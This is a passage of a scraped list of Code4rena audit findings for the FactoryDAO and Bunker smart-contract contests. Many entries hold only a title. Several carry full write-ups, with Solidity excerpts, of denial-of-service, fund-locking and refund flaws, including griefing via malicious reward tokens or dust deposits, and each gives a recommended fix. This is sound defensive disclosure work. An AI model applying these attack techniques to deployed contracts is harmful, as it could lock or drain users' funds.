272 } ``` https://github.com/code-423n4/2022-05-factorydao/blob/db415804c06143d8af6880bc4cda7222e5463c0e/contracts/PermissionlessBasicPoolFactory.sol#L258-L272 While the sponsor mentions that malicious tokens make the pool malicious, this particular issue has a simple fix outlined below in the mitigation section ## Tools Used Code inspection ## Recommended Mitigation Steps Force taxes to be paid during `withdraw()` "}, {"title": "Unbounded loop in `withdraw()` may cause rewards to be locked in the contract", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/122", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-factorydao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-factorydao/blob/db415804c06143d8af6880bc4cda7222e5463c0e/contracts/PermissionlessBasicPoolFactory.sol#L224-L231 # Vulnerability details ## Impact The `withdraw()` has an unbounded loop with external calls. If the gas costs of functions change between when deposits are made and when rewards are withdrawn, or if the gas cost of the deposit (`transferFrom()`) is less than the gas cost of the withdrawal (`transfer()`), then the `withdraw()` function may revert due to exceeding the block size gas limit. ## Proof of Concept `transfer()` is an external call, and `rewards.length` has no maximum size: ```solidity File: contracts/PermissionlessBasicPoolFactory.sol #1 224 for (uint i = 0; i < rewards.length; i++) { 225 pool.rewardsWeiClaimed[i] += rewards[i]; 226 pool.rewardFunding[i] -= rewards[i]; 227 uint tax = (pool.taxPerCapita * rewards[i]) / 1000; 228 uint transferAmount = rewards[i] - tax; 229 taxes[poolId][i] += tax; 230 success = success && IERC20(pool.rewardTokens[i]).transfer(receipt.owner, transferAmount); 231 } ``` https://github.com/code-423n4/2022-05-factorydao/blob/db415804c06143d8af6880bc4cda7222e5463c0e/contracts/PermissionlessBasicPoolFactory.sol#L224-L231 ## Tools Used Code inspection ## Recommended Mitigation Steps Allow the specification of an offset and length to the `withdraw()` function, so that withdrawals can be broken up into smaller batches if required "}, {"title": "Rebasing tokens go to the pool owner, or remain locked in the various contracts", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/121", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-05-factorydao-findings", "body": "Rebasing tokens go to the pool owner, or remain locked in the various contracts"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/115", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/114", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/111", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "MerkleResistor: zero coinsPerSecond will brick tranche initialization and withdrawals", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/107", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-factorydao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-factorydao/blob/db415804c06143d8af6880bc4cda7222e5463c0e/contracts/MerkleResistor.sol#L259 https://github.com/code-423n4/2022-05-factorydao/blob/db415804c06143d8af6880bc4cda7222e5463c0e/contracts/MerkleResistor.sol#L264 # Vulnerability details ## Details & Impact It is possible for `coinsPerSecond` to be zero. In these cases, the `startTime` calculation ```solidity uint startTime = block.timestamp + vestingTime - (totalCoins / coinsPerSecond); ``` will revert from division by zero, preventing initialization, and by extension, withdrawals of vested tokens. ## Proof of Concept We assume vesting time chosen is the maximum (`tree.maxEndTime`) so that `totalCoins = maxTotalPayments`. These examples showcase some possibilities for which the calculated `coinsPerSecond` can be zero. ### Example 1: High upfront percentage - `pctUpFront = 99` (99% up front) - `totalCoins = 10_000e6` (10k USDC) - `vestingTime = 1 year` ```solidity uint coinsPerSecond = (totalCoins * (uint(100) - tree.pctUpFront)) / (vestingTime * 100); // 10_000e6 * (100 - 99) / (365 * 86400 * 100) // = 0 ``` ### Example 2: Small reward amount / token decimals - `pctUpFront = 0` - `totalCoins = 100_000e2` (100k EURS) - `vestingTime = 180 days` ```solidity uint coinsPerSecond = (totalCoins * (uint(100) - tree.pctUpFront)) / (vestingTime * 100); // 100_000e2 * 100 / (180 * 86400 * 100) // = 0 ``` ## Recommended Mitigation Steps Scale up `coinsPerSecond` by `PRECISION`, then scale down when executing withdrawals. While it isn\u2019t foolproof, the possibility of `coinsPerSecond` being zero is reduced significantly. ```solidity // L264 uint coinsPerSecond = (totalCoins * (uint(100) - tree.pctUpFront)) * PRECISION / (vestingTime * 100); // L184 currentWithdrawal = (block.timestamp - tranche.lastWithdrawalTime) * tranche.coinsPerSecond / PRECISION; ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/104", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/103", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/101", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/100", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/97", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/96", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/95", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/94", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/93", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/92", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/91", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/90", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "A transfer that is not validated its result.", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/87", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-factorydao-findings", "body": "A transfer that is not validated its result."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/85", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/84", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/81", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "wrong out of range check", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/79", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-05-factorydao-findings", "body": "wrong out of range check"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/77", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/76", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/71", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/62", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/61", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "`MerkleDropFactory.depositTokens()` does not require the tree to exist", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/59", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-05-factorydao-findings", "body": "`MerkleDropFactory.depositTokens()` does not require the tree to exist"}, {"title": "Merkle leaves are the same length as the parents that are hashed", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/58", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-factorydao-findings", "body": "Merkle leaves are the same length as the parents that are hashed"}, {"title": "DoS: Blacklisted user may prevent `withdrawExcessRewards()`", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/57", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-factorydao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-factorydao/blob/db415804c06143d8af6880bc4cda7222e5463c0e/contracts/PermissionlessBasicPoolFactory.sol#L242-L256 https://github.com/code-423n4/2022-05-factorydao/blob/db415804c06143d8af6880bc4cda7222e5463c0e/contracts/PermissionlessBasicPoolFactory.sol#L224-L234 # Vulnerability details ## Impact If one user becomes blacklisted or otherwise cannot be transferred funds in any of the rewards tokens or the deposit token then they will not be able to call `withdraw()` for that token. The impact of one user not being able to call `withdraw()` is that the owner will now never be able to call `withdrawExcessRewards()` and therefore lock not only the users rewards and deposit but also and excess rewards attributed to the owner. Thus, one malicious user may deliberately get them selves blacklisted to prevent the owner from claiming the final rewards. Since the attacker may do this with negligible balance in their `deposit()` this attack is very cheap. ## Proof of Concept It is possible for `IERC20(pool.rewardTokens[i]).transfer(receipt.owner, transferAmount);` to fail for numerous reasons. Such as if a user has been blacklisted (in certain ERC20 tokens) or if a token is paused or there is an attack and the token is stuck. This will prevent `withdraw()` from being called. ```solidity for (uint i = 0; i < rewards.length; i++) { pool.rewardsWeiClaimed[i] += rewards[i]; pool.rewardFunding[i] -= rewards[i]; uint tax = (pool.taxPerCapita * rewards[i]) / 1000; uint transferAmount = rewards[i] - tax; taxes[poolId][i] += tax; success = success && IERC20(pool.rewardTokens[i]).transfer(receipt.owner, transferAmount); } success = success && IERC20(pool.depositToken).transfer(receipt.owner, receipt.amountDepositedWei); require(success, 'Token transfer failed'); ``` Since line 245 of `withdrawExcessRewards()` requires that `require(pool.totalDepositsWei == 0, 'Cannot withdraw until all deposits are withdrawn');`, if one single user is unable to withdraw then it is impossible for the owner to claim the excess rewards and they are forever stuck in the contract. ## Recommended Mitigation Steps Consider allowing `withdrawExcessRewards()` to be called after a set period of time after the pool end if most users have withdrawn or some similar criteria. "}, {"title": "Centralisation Risk: Owner may abuse the tax rate to claim 99.9% of pools", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/56", "labels": ["bug", "2 (Med Risk)"], "target": "2022-05-factorydao-findings", "body": "Centralisation Risk: Owner may abuse the tax rate to claim 99.9% of pools"}, {"title": "DoS: Attacker may significantly increase the cost of `withdrawExcessRewards()` by creating a significant number of excess receipts", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/54", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-factorydao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-factorydao/blob/db415804c06143d8af6880bc4cda7222e5463c0e/contracts/PermissionlessBasicPoolFactory.sol#L245 # Vulnerability details ## Impact An attacker may cause a DoS attack on `withdrawExcessRewards()` by creating a excessive number of `receipts` with minimal value. Each of these receipts will need to be withdrawn before the owner can call `withdrawExcessRewards()`. The impact is the owner would have to pay an unbounded amount of gas to `withdraw()` all the accounts and receive their excess funds. ## Proof of Concept `withdrawExcessRewards()` has the requirement that `totalDepositsWei` for the pool is zero before the owner may call this function as seen on line 245. ```solidity require(pool.totalDepositsWei == 0, 'Cannot withdraw until all deposits are withdrawn'); ``` `pool.totalDepositsWei` is added to each time a user calls `deposit()`. It is increased by the amount the user deposits. There are no restrictions on the amount that may be deposited as a result a user may add 1 wei (or the smallest unit on any currency) which has negligible value. The owner can force withdraw these accounts by calling `withdraw()` so long as `block.timestamp > pool.endTime`. They would be required to do this for each account that was created. This could be a significant amount of gas costs, especially if the gas price has increased since the attacker originally made the deposits. ## Recommended Mitigation Steps Consider adding a minimum deposit amount for each pool that can be configured by the pool owner. Alternatively, allow the owner to call `withdrawExcessRewards()` given some other criteria such as - A fix period of time (e.g. 1 month) has passed since the end of the auction; and - 90% of the deposits have been withdrawn These criteria can be customised as desired by the design team. "}, {"title": "Owner of a pool may prevent any taxes being withdrawn", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/52", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-factorydao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-factorydao/blob/db415804c06143d8af6880bc4cda7222e5463c0e/contracts/PermissionlessBasicPoolFactory.sol#L261-L272 # Vulnerability details ## Impact It is possible for the owner of a pool to prevent any taxes being withdrawn by the `globalBeneficiary`. The impact is the taxed tokens will be permanently locked in the contract and `withdrawTaxes()` will not be callable for that `poolId`. ## Proof of Concept The attack works by setting one of the `rewardTokenAddresses` to a malicious contract during `addPool()`. The malicious contract is set such that it will revert on the call `pool.rewardTokens[i]).transfer(globalBeneficiary, tax)` if an only if the `to` address is `globalBeneficiary. The result of this attack is that if one reward transfer fails then entire `withdrawTaxes()` transaction will revert and no taxes can be claimed. However, the pool will function correctly for all other users. ```solidity function withdrawTaxes(uint poolId) external { Pool storage pool = pools[poolId]; require(pool.id == poolId, 'Uninitialized pool'); bool success = true; for (uint i = 0; i < pool.rewardTokens.length; i++) { uint tax = taxes[poolId][i]; taxes[poolId][i] = 0; success = success && IERC20(pool.rewardTokens[i]).transfer(globalBeneficiary, tax); } require(success, 'Token transfer failed'); } ``` ## Recommended Mitigation Steps There are a few mitigations to this issue. The first is for the `withdrawTaxes()` function to take both `poolId` and `rewardIndex` as a parameters to allowing the tax beneficiary to only withdraw from certain reward tokens in the pool. This would allow the beneficiary to withdraw from all reward tokens except malicious ones. The second mitigation is to implement a `try-catch` condition around the withdrawal of reward tokens. In the catch statement re-instate the `taxes[poolId][i] = tax` if the transfer fails. Alternatively just skip the reward tokens if the transfer fails though this would be undesirable if a token is paused for some reason. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/50", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "SpeedBumpPriceGate: Excess ether did not return to the user", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/48", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-factorydao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-factorydao/blob/e22a562c01c533b8765229387894cc0cb9bed116/contracts/SpeedBumpPriceGate.sol#L65-L82 # Vulnerability details ## Impact The passThruGate function of the SpeedBumpPriceGate contract is used to charge NFT purchase fees. Since the price of NFT will change due to the previous purchase, users are likely to send more ether than the actual purchase price in order to ensure that they can purchase NFT. However, the passThruGate function did not return the excess ether, which would cause asset loss to the user. Consider the following scenario: 1. An NFT is sold for 0.15 eth 2. User A believes that the value of the NFT is acceptable within 0.3 eth, considering that someone may buy the NFT before him, so user A transfers 0.3 eth to buy the NFT 3. When user A's transaction is executed, the price of the NFT is 0.15 eth, but since the contract does not return excess eth, user A actually spends 0.3 eth. ## Proof of Concept https://github.com/code-423n4/2022-05-factorydao/blob/e22a562c01c533b8765229387894cc0cb9bed116/contracts/SpeedBumpPriceGate.sol#L65-L82 ## Tools Used None ## Recommended Mitigation Steps ``` - function passThruGate(uint index, address) override external payable { + function passThruGate(uint index, address payer) override external payable { uint price = getCost(index); require(msg.value >= price, 'Please send more ETH'); // bump up the price Gate storage gate = gates[index]; // multiply by the price increase factor gate.lastPrice = (price * gate.priceIncreaseFactor) / gate.priceIncreaseDenominator; // move up the reference gate.lastPurchaseBlock = block.number; // pass thru the ether if (msg.value > 0) { // use .call so we can send to contracts, for example gnosis safe, re-entrance is not a threat here - (bool sent, bytes memory data) = gate.beneficiary.call{value: msg.value}(\"\"); + (bool sent, bytes memory data) = gate.beneficiary.call{value: price}(\"\"); require(sent, 'ETH transfer failed'); } + if (msg.value - price > 0){ + (bool sent, bytes memory data) = payer.call{value: msg.value - price}(\"\"); + require(sent, 'ETH transfer failed');} } ``` "}, {"title": "ERC20 tokens with different decimals than 18 leads to loss of funds", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/47", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-factorydao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-factorydao/blob/db415804c06143d8af6880bc4cda7222e5463c0e/contracts/PermissionlessBasicPoolFactory.sol#L169 https://github.com/code-423n4/2022-05-factorydao/blob/db415804c06143d8af6880bc4cda7222e5463c0e/contracts/PermissionlessBasicPoolFactory.sol#L282 # Vulnerability details ## Impact Contract `PermissionlessBasicPoolFactory` calculates rewards by using hardcoded value of decimals `18` (1e18) for ERC20 tokens. This leads to wrong rewards calculations and effectively loss of funds for all pools that will be using ERC20 tokens with different decimals than `18`. Example of such a token is USDC that has 6 decimals only. ## Proof of Concept * https://github.com/code-423n4/2022-05-factorydao/blob/db415804c06143d8af6880bc4cda7222e5463c0e/contracts/PermissionlessBasicPoolFactory.sol#L169 * https://github.com/code-423n4/2022-05-factorydao/blob/db415804c06143d8af6880bc4cda7222e5463c0e/contracts/PermissionlessBasicPoolFactory.sol#L282 ## Tools Used Manual Review / VSCode ## Recommended Mitigation Steps It is recommended to add support for different number of decimals than `18` by dynamically checking `decimals()` for the tokens that are part of the rewards calculations. Alternatively if such a support is not needed, new require statements should be added to `addPool` that will be checking that the number of decimals for all ERC20 tokens is `18`. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/44", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/43", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "amount requires to be updated to contract balance increase (1)", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/34", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-factorydao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-factorydao/blob/e22a562c01c533b8765229387894cc0cb9bed116/contracts/PermissionlessBasicPoolFactory.sol#L137-L149 # Vulnerability details ## Impact Every time transferFrom or transfer function in ERC20 standard is called there is a possibility that underlying smart contract did not transfer the exact amount entered. It is required to find out contract balance increase/decrease after the transfer. This pattern also prevents from re-entrancy attack vector. ## Proof of Concept ## Tools Used ## Recommended Mitigation Steps Recommended code: ```solidity function fundPool(uint poolId) internal { Pool storage pool = pools[poolId]; bool success = true; uint amount; for (uint i = 0; i < pool.rewardFunding.length; i++) { amount = getMaximumRewards(poolId, i); // transfer the tokens from pool-creator to this contract uint256 balanceBefore = IERC20(pool.rewardTokens[i]).balanceOf(address(this)); // remembering asset balance before the transfer IERC20(pool.rewardTokens[i]).safeTransferFrom(msg.sender, address(this), amount); uint256 newAmount = IERC20(pool.rewardTokens[i]).balanceOf(address(this)) - balanceBefore; // updating actual amount to the contract balance increase success = success && newAmount == amount; // making sure amounts match // bookkeeping to make sure pools don't share tokens pool.rewardFunding[i] += amount; } require(success, 'Token deposits failed'); } ``` "}, {"title": "safeTransferFrom is recommended instead of transfer (1)", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/22", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-factorydao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-factorydao/blob/e22a562c01c533b8765229387894cc0cb9bed116/contracts/PermissionlessBasicPoolFactory.sol#L144 # Vulnerability details ## Impact ERC20 standard allows transferF function of some contracts to return bool or return nothing. Some tokens such as USDT return nothing. This could lead to funds stuck in the contract without possibility to retrieve them. Using safeTransferFrom of SafeERC20.sol is recommended instead. ## Proof of Concept https://github.com/OpenZeppelin/openzeppelin-contracts/blob/4a9cc8b4918ef3736229a5cc5a310bdc17bf759f/contracts/token/ERC20/utils/SafeERC20.sol ## Tools Used ## Recommended Mitigation Steps "}, {"title": "Malicious token reward could disable withdrawals", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/20", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-factorydao-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-factorydao/blob/e22a562c01c533b8765229387894cc0cb9bed116/contracts/PermissionlessBasicPoolFactory.sol#L230 # Vulnerability details ## Impact `PermissionlessBasicPoolFactory.withdraw` requires each reward token transfers to succeed before withdrawing the deposit. If one of the reward token is a malicious/pausable contract that reverts on transfer, unaware users that deposited into this pool will have their funds stuck in the contract. ## Recommended Mitigation Steps Add an `emergencyWithdraw` function that ignores failed reward token transfers. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/19", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/18", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/15", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-factorydao-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/10", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-factorydao-findings/issues/7", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-factorydao-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/128", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/126", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/124", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/123", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/122", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/121", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/120", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/118", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/117", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "`call()` should be used instead of `transfer()` on an `address payable`", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/116", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-bunker-findings", "body": "`call()` should be used instead of `transfer()` on an `address payable`"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/112", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "`UniswapV2PriceOracle.sol` Requires Constant Upkeep Otherwise It May Lead To Liquidation", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/111", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-bunker-findings", "body": "`UniswapV2PriceOracle.sol` Requires Constant Upkeep Otherwise It May Lead To Liquidation"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/108", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "`COMP` Distributions Can Be Manipulated And Duplicated Across Any Number Of Accounts", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/105", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-05-bunker-findings", "body": "`COMP` Distributions Can Be Manipulated And Duplicated Across Any Number Of Accounts"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/104", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/103", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/100", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/99", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/98", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/97", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/94", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "CNft.sol - revert inside safeTransferFrom will break composability & standard behaviour", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/93", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2022-05-bunker-findings", "body": "# Lines of code https://github.com/bunkerfinance/bunker-protocol/blob/752126094691e7457d08fc62a6a5006df59bd2fe/contracts/CNft.sol#L204 # Vulnerability details The function safeTransferFrom is a standard interface in ERC1155, and its expected to succeed if all the parametes are valid, and revert on error, which is not the case here so its a deviation. Refer to the EIP-1155 safeTransferFrom rules: > MUST revert if _to is the zero address. > MUST revert if balance of holder for token _id is lower than the _value sent to the recipient. > MUST revert on any other error. There is no loss of assets, but the assets or tokens and CNft contract can be unusable by other protocols, and likelihood & impact of this issue is high. ## Impact If other protocols want to integrate CNft, then in that case just for CNft Contract / tokens, they have to take exception and use safeBatchTransferFrom, instead of safeTransferFrom. If they dont take care of this exception, then their protocol functions will fail while using CNft, even if valid values are given. ## Proof of Concept Contract : CNft.sol Function : safeTransferFrom > Line 204 revert(\"CNFT: Use safeBatchTransferFrom instead\"); ## Recommended Mitigation Steps Instead of revert, call function safeBatchTransferFrom with 1 item in the array, e.g., > safeBatchTransferFrom(from, to, [id], [amount], data) "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/90", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-bunker-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/89", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-bunker-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-bunker-findings/issues/88", "labels": ["bug", "G (Gas Optimization)"], 